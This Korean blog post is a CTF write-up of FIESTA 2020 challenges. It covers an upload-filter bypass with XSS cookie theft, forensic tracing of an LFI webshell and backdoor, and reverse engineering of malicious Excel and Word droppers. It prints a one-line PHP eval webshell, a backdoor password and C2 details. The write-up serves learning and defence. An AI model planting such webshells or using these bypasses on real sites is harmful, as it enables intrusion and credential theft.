금융보안원에서 주최하는 금융권 사이버 침해위협분석 대회 'FIESTA 2020'에 참가하게 되었다. 오랜만에 CTF를 참여해 문제를 풀다 보니 재밌기도 했지만 한편으로 그동안 너무 공부를 안 했다는 생각이 많이 들었다.
아쉽게 2등을 하였는데 우승팀을 보면서 갈길이 멀구나 싶기도하고 부럽기도 했다. 특히 Web Hacking은 앞으로도 공부를 좀 많이 해야겠다.
잡담은 여기까지 하고 몇가지 흥미로웠던 문제들에 대해 기록을 남기고자 한다.
DarknetMarket (Web Hacking)
Fiesta2020 대회의 문제 정답이 유출되어 다크넷 마켓에서 판매되고 있다는 신고가 접수되었다. 진상을 파악하고 혼내주자!
다크넷 마켓 사이트에 들어가보면 플래그를 Download 할 수 있는 기능이 존재하지만 권한 때문에 해당 파일을 가져올 수 없다.
쿠키 값을 확인해보니 사용자 세션으로 “is_admin” 이라는 값을 체크하여 admin 사용자만 플래그를 다운로드할 수 있게 한다. 관리자에게 문의를 넣을 수 있는 Contact 기능을 통해 임시 글을 작성해 보았다.
문의 내용 전송 후 “/DkNetM/auto_reply”라는 자동응답 메시지 작성 기능이 호출되고 내가 작성한 문의 사항에 대하여 관리자 권한으로 자동 응답 글이 달리게 된다.
해당 서버는 문의 게시글을 입력할 수 있는 contact_write 페이지에서 파일명에 대한 확장자 검사를 실시하지만 위와 같이 .phtml 확장자를 통해 필터링을 우회할 수 있는 취약점이 존재한다. 이를 통해 쿠키 탈취 글을 업로드한 후 업로드된 경로를 확인하였다.
앞서 서버에 올린 쿠키 탈취 xss 공격 글을 auto_reply에 입력하여 주면 관리자는 해당 글을 읽고 사용하게 된다.
그리고 그 결과 해당 쿠키 값을 저장한 개인 서버 http://183.101.48.20:8080/data.txt에 관리자의 쿠키 값이 탈취된 것을 확인할 수 있다.
Knockin' on door-1 (Forensic)
운영 중인 쇼핑몰 사이트가 공격당했습니다. 현재까지 밝혀진 바로는 웹 페이지의 관리자 계정이 기본 계정으로 사용되고 있었다는 점입니다. 이 점을 참고하여 해당 리눅스 이미지에서 공격자의 침투 경로와 백도어 설치 여부 등의 피해 경위를 파악해주십시오.
문제를 보면 해당 서버를 통해 쇼핑몰 사이트를 운영하였고 이를 통해 백도어가 설치되었다. 따라서 웹 서버 로그에 대한 분석이 필요하다. 주어진 가상 머신의 실행 중인 프로세스 목록을 확인해보면 해당 서버는 Apache를 사용하고 있음을 알 수 있다.
Apache의 서버 접근 로그는 “/var/log/apache2/access.log.1”을 통해 확인할 수 있다. 분석을 위해 해당 파일을 살펴보았다.
우선 취약점이 있는 파일 추정에 대한 힌트는 1243 줄에서 얻을 수 있었다. base64로 난독화 된 코드를 복호화하여 “/var/www/logs/write.php”로 만드는 내용이다. 이 명령을 서버에 내리기 위해서는 웹쉘의 실행이 선행되었어야 한다.
바로 위 1229 줄을 보면 image.php에서 img 변수에 phar wrapper를 이용한 LFI 취약점을 통해 “../uploads/apple.jpg” 파일을 실행시킨 로그를 확인할 수 있다.
좀 더 상세한 확인을 위해 image.php 파일을 분석해보았다. 보면 역시나 $img 변수에 대한 필터링 미흡으로 file_get_contents() 함수 호출 시 LFI가 가능한 것을 확인할 수 있다.
apple.jpg의 내용을 살펴보면 해당 파일이 실행 후 어떤 동작이 이루어지는지 확인할 수 있다.
“<?php eval($_GET[“code”]);?>” 웹쉘 내용이 QueryExecutor에 의해 로그로 출력되며 “/var/www/uploads/main.php”로 저장되게 되는데 이 파일이 곧 웹쉘이 된다.
따라서 문제에서 말하는 취약점이 있는 파일은 image.php이며 그 웹쉘이 서버에 생성된 시간은 로그에서 확인한 2020/08/11 12:31:54(KST기준) 이다.
apple.jpg 파일을 실행시킨 image.php 파일에는 QueryExecutor를 실행시킬 수 있는 기능이 존재하지 않는다. 따라서 @include된 lib.php를 분석해보았다.
해당 파일에서 QueryExecutor class가 구현되어 있음을 확인할 수 있다. 내용을 분석해보면 __construct()는 클래스가 객체로 만들어질 때 호출되는 함수로 해당 함수의 인자로 전달되는 값들이 apple.jpg에서 지정한 악의적인 값들로 초기화되고 query가 실행되기 때문에 main.php 웹쉘이 생성될 수 있었다.
따라서 웹쉘 이용을 위해 사용한 취약점이 존재하는 파일은 “/var/www/html/lib.php”이다.
그리고 앞서 1번 문제에서 확인하였듯이 웹쉘에 전달하는 명령문을 통해 공격자는 “/var/www/logs” 경로에 백도어(write.php)를 설치한다. 해당 시간은 “2020/08/11 18:08:48(KST)” 이다.
앞서 1,2번 문제를 통해 백도어의 설치 위치 “/var/www/logs/write.php”를 확인한 바 있다.
위 경로에서 추출해낸 write.php 백도어의 코드이다. 코드라인 5번째 줄을 확인하면 POST 변수로 가져온 $password 값과 md5 해쉬 스트링 “348a38cd25abeab0e440f37510e9b1fa”를 비교한다. 즉, 해당 값의 원문이 백도어의 패스워드이다.
난독화된 값이 길지 않아 해당 값을 온라인 툴을 활용하여 사전 검색 형식으로 원문 검색을 실시하였다. 그 결과 패스워드는 “7140”임을 확인하였다.
SharperGram (ETC)
금융보안원에서 재직중인 A씨는 평소 여행을 좋아하여 외국으로 여행을 자주 다니는 편이다. 올해도 마찬가지로 여행 계획을 세우는 A씨는 최근 항공사로부터 항공권 관련 메일을 받게 되었고, 메일의 첨부파일을 확인한 A씨는 얼마 지나지 않아 자신의 메일 계정 정보 등이 유출된 사실을 알게 되었다. A씨의 정보가 어떻게 유출되었는지 메일을 분석하시오.
메일에 첨부된 “i-Ticket.xls" 파일을 다운받아 가상머신에서 실행시키도록 한다.
실행 후 네트워크 모니터링 결과를 살펴보면 “EXCEL.EXE(3140)” 프로세스는 목적지 주소 54.180.66.177로부터 “xe” 바이너리를 다운받는 통신을 발생시킨다.
그리고 악성코드 실행 이후 모든 이벤트 내역을 저장 후 이중 파일의 수정 이력을 살펴보면 “\AppData\Roaming\Microsoft\Excel\XLSTART\nc.exe” 경로에 해당 바이너리가 추가되는 것을 확인할 수 있다.
nc.exe의 정보를 분석해보면 .NET으로 작성되었으며 Confuser로 보호되어 있다.
이 파일을 .NET 분석 도구를 통해 디컴파일 해보면 “AntiTamper” 함수에 의해 Main 메소드 및 기타 메소드들의 코드가 난독화되어 확인할 수 없으며 디버깅 또한 불가능했다.
난독화를 해제하기 위해 사라진 코드를 복구하는 부분인 <Module> 클래스의 첫 번째 메소드에 BP를 걸어 실행 분기를 이동시킨다.
Open Module from Memory 기능으로 AntiTamper 함수가 동작한 후의 바이너리를 로드하였다.
그리고 Save Module 기능으로 로드된 바이너리의 덤프를 저장시키고 이 파일을 다시 실행시켰다.
난독화가 해제된 파일은 위처럼 소스를 확인할 수 있다. 그리고 악성코드가 C2 서버와 통신할 때 사용하는 정보들을 찾아야 하므로 디버깅을 통해 실행 흐름을 통신을 담당하는 request() 메소드로 이동시켰다.
해당 메소드 실행 결과로 반환되는 Locals 변수들에 담기는 정보를 살펴보면 해당 악성코드가 C2 서버와 통신에 이용하는 정보들을 추출해낼 수 있다.
DownloadString() 메소드의 인자로 전달되는 “text” 변수에 통신에 이용되는 토큰과 채널 값이 저장된다. 해당 통신정보는 telegram api의 것으로 각각 토큰과 채널 정보는 위와 같이 구분할 수 있다.
마지막으로 암호화 키는 GP() 메소드의 반환 값으로 “password=F13stA-e0e0-k3y”에서 확인할 수 있다.
Stepin (Reversing)
수상한 문서 파일이 전송되었다. 해당 문서 파일을 분석하여라!
대상 환경: Windows 10 Education, Build 18362.1016
문제에서 주어진 stepin.doc를 분석환경(Windows 10 Pro, Build 18363)에서 실행시켜 보면 파일 안에 포함된 매크로가 로드된다.
stepin.doc를 실행하는 동안 수집한 이벤트 중 파일의 수정, 추가에 관련된 내역을 살펴보았다.
위와 같이 doc 파일에 포함된 매크로는 “C:\TEMP” 경로에 “st3p1n.exe” 파일을 설치함을 확인할 수 있다.
앞서 매크로에 의해 설치된 악성코드 “st3p1n.exe”의 정보 추출 결과 UPX 3.96 버전으로버전으로 패킹이 되어있다.
Oll디버거로 악성코드를 실행시켜보면 먼저 PUSHAD를 통해 register의 값을 stack에 저장한다.
그리고 언패킹 과정이 끝나면 POPAD를 통해 stack에 저장한 register 값을 다시 가져오고 EntryPoint인 0x402575로 점프하여 정상 프로그램이 시작된다. 그리고 이 OEP 위치에서 덤프를 뜨고 IAT를 복구해주어 언패킹 된 프로그램을 가져왔다.
해당 프로그램의 정보를 DIE를 통해 다시 확인해보면 EntryPoint인 EP가 복구된 것을 확인할 수 있다.
다음으로는 x32dbg 디버거의 동적 분석과 IDA의 정적 분석을 병행하여 진행하기 위해 ASLR 옵션을 제거하였다.
프로그램이 시작되는 EP부터 분석하면 argv, argc 값이 저장되고 다음으로 호출되는 sub_401A30() 함수로 들어가게 된다.
sub_401A30() 함수로 들어가면 ProcessId 변수를 0으로 초기화하고 sub_401160() 함수의 반환 값을 v1 변수에 저장시킨다. 그리고 아래 BP가 걸려있는 분기에서 해당 반환 값과 PC에서 동작중인 프로세스 명이 일치할 때까지 while(1) 루프를 돌게 된다.
x32dbg 디버거로 앞서 IDA에서 확인한 v1 변수에 담기는 값을 확인해보면 악성코드가 변조하고자 하는 대상 프로세스가 “iexplore.exe” 임을 알 수 있다.
2번 문제에 이어 프로그램을 계속 실행시켜 나가면 ReflectiveLoader() 함수가 로드되는 것을 확인할 수 있다. 이 함수의 기능을 간략히 서술하면 프로그램 내에 파일 형태로 존재하는 바이너리를 메모리에서 바로 실행하게 해주는 함수이다.
이 ReflectiveLoader() 함수가 실행하는 프로그램 내 바이너리는 0x41410000 주소에서 추출할 수 있다. 그리고 해당 메모리의 파일 시그니처를 살펴보면 “0x905A4D” 즉 DLL 파일임을 알 수 있다.
디버깅을 통한 분석을 위해 추출한 바이너리에서 IMAGE_NT_HEADERS -> IMAGE_FILE_HEADER -> Characteristics 값인 “0x2101”를 “0x010F”로 수정하여 DLL이 아닌 EXE로 인식되게 수정하였다.
추출한 DLL 파일을 디버깅하다 실행 지점 0x100028DC 위치를 살펴보면 0x10016A64 위치에 암호화된 데이터 "PZ8ULgnD819UsFnTvZ6T+5bRfB+RfBBU8ZtQeY="(Base64로 감싸져 있으나 복호화 로직을 통해 추가 과정이 필요)가 저장되어 있고 그 아래 sub_10002680() 함수에서 악성 exe가 통신하는 서버 주소를 만들어내게 된다.
하지만 해당 함수 sub_10002680() 함수 내부에서 호출되는 0x10006A8A의 RtlAllocateHeap() API의 인자로 전달 되어야하는 heap HANDLE 값이 0x100172C8 주소 내 올바르게 지정되어 있지 않아 예외가 발생하여 프로그램이 죽게 된다. 따라서 복호화된 address 결과 값을 가져오기 위해선 해당 오류를 해결하여야 한다.
다행히 DLL 내 구현되어 있는 RtlAllocateHeap() API들을 살펴본 결과 0x10002CE8 주소에서 제대로 된 HANDLE 값이 인자로 PUSH 되는 것을 확인할 수 있었다.
먼저 0x10006A8A 직전까지 프로그램을 진행시켜 레지스터들에 저장되는 값들을 세팅한다. 그리고 그다음 실행 전 EIP 값을 0x10002CE8로 수정한다. 그리고 0x1002CE8에서 0x10006A8A과 동일한 인자 값이 push 되도록 EBP를 수정하여 EBP-4에서 가리키는 값을 ESI 값과 동일하게 세팅하여 준다.
다음으로는 어셈블리어를 수정해서 HeapAlloc의 Flag 값을 0으로 수정하여 준다.
기존 0x10006A99는 함수 반환 값을 ESI에 담지 않기 때문에 0x10002CF4까지만 프로그램을 실행시킨다.
그리고 앞서 수정하였던 EBP 값을 기존대로 수정한 후 EIP를 컨트롤하여 0x10006A99부터 프로그램을 재실행시켰다.
이후 예외 발생 없이 해당 프로세스를 실행시킬 수 있고 그 return 값으로 악성 exe가 통신하는 복호화된 서버 Address인 “http://OurControlServerIsDead”를 읽어낼 수 있었다.
나머지 문제는 다음 시간에..
'대회후기' 카테고리의 다른 글
[대회] 사이버보안 침해사고 Threat Hunting 대회 최우수상 (0) | 2021.12.18 |
---|---|
[대회] K-사이버 시큐리티 2020 대회 우승 (0) | 2021.11.01 |
댓글